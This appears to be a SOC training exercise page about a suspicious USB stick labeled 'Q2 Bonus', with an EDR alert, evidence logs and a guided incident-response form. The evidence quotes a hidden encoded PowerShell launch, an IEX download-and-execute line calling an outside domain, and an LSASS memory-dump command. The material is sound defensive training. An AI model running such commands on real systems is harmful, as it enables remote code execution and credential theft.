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Incident

Receptionist plugged in USB labeled 'Q2 Bonus' — EDR flagged PowerShell launch

CybersecurityDifficulty · Easy
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Suspicious USB DeviceDifficulty · easyMedium asset
[EDR] Suspicious LNK + powershell.exe -enc on RECEPT-WS-01
From
EDR Alerts <edr-alerts@acme-corp.local>
To
soc@acme-corp.com
Date
2026-04-19 16:08 UTC
Automated alert from (rule USB-LNK-EXEC-02). Workstation RECEPT-WS-01 (reception desk, ground floor) executed a Windows shortcut (.lnk) from a removable USB drive at 16:03:17 UTC. The shortcut launched powershell.exe with an encoded command. Process tree: explorer.exe → powershell.exe -nop -w hidden -enc <base64> The reception staff member tells us she found a USB stick in the lobby labeled "Q2 Bonus — do not open" earlier today and plugged it in to "see who it belonged to." She has not used the workstation for any other task since. Please respond. — EDR / Endpoint Security
Evidence
EDR detection + USB enumeration (RECEPT-WS-01)
# Removable media event
Device:        USB Mass Storage  VID_0951&PID_1666 (Kingston)
Volume label:  Q2_BONUS
First seen:    2026-04-19 16:01:42 UTC on RECEPT-WS-01
Files:         Q2_Bonus_List.lnk, .hidden\stage1.ps1, README.txt

# LNK target (resolved)
target: %windir%\System32\WindowsPowerShell\v1.0\powershell.exe
args:   -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB...   (base64, decodes to IEX downloader)

# Decoded stage1 (preview)
$u = "https://cdn-doc-share[.]xyz/q2/s.ps1"
IEX (New-Object Net.WebClient).DownloadString($u)
# also attempts: rundll32 comsvcs.dll MiniDump <lsass pid> %TEMP%\l.dmp full

# Network activity from RECEPT-WS-01 (last 30 min)
16:03:18  TLS  RECEPT-WS-01 → cdn-doc-share[.]xyz:443
16:03:19  EDR blocked outbound to cdn-doc-share[.]xyz (low-rep, 8d-old domain)

# AV / VirusTotal lookup on stage1.ps1
SHA256 a14f..be07  →  41/72 (PowerShell.Downloader.*)
Affected asset
Name
RECEPT-WS-01
Type
Reception desk Windows workstation (shared, no privileged data stored locally)
Owner
Office Operations
Level
Medium
Guided practice

Fill in one key action per box

0/26 filled

Each box asks for one distinct action or finding in that area, and the order of the boxes within an area does not matter. Short phrases are enough. Cover every area at least once to unlock the full written response.

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